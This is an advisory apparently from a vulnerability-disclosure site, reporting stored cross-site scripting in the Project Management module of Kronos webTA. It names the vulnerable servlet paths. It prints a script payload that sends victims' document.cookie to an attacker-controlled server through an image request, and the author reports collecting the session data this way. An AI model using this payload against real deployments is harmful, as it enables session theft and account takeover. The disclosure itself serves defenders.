webTA by kronos - XSS

2008.06.10
Credit: Alex Eden
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

http://www.kronos.com/Products/webTA.htm webTA is used by thousands of fed. employees. I did a limited security review of a couple deployments. Because of certain contractual limitations I have been able to verify XSS in its Project Management module only, but I suspect it also exists in Vacation/Sick Leave Request module. URLs: /servlet/com.threeis.webta.H710selProject and /servlet/com.threeis.webta.H720editProjectInfo Use these URLs to create project descriptions. No hex or html encoding or anything fancy is necessary. Just type in the description field your favorite XSS stuff - it will work. I tested basic font changing html tags (<font color="red">test for XSS</font>), and JavaScript (<script>document.write('<img src="http://ip_of_my_server_on_my_laptop/cookie.cgi?'+document.cookie+'">')</ script>). On my laptop I had Apache listening, and collecting user session information into its logs. Yeah, it is remote, in case you are wondering. I no longer have the access to any webTA systems, and cannot verify anything else.


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top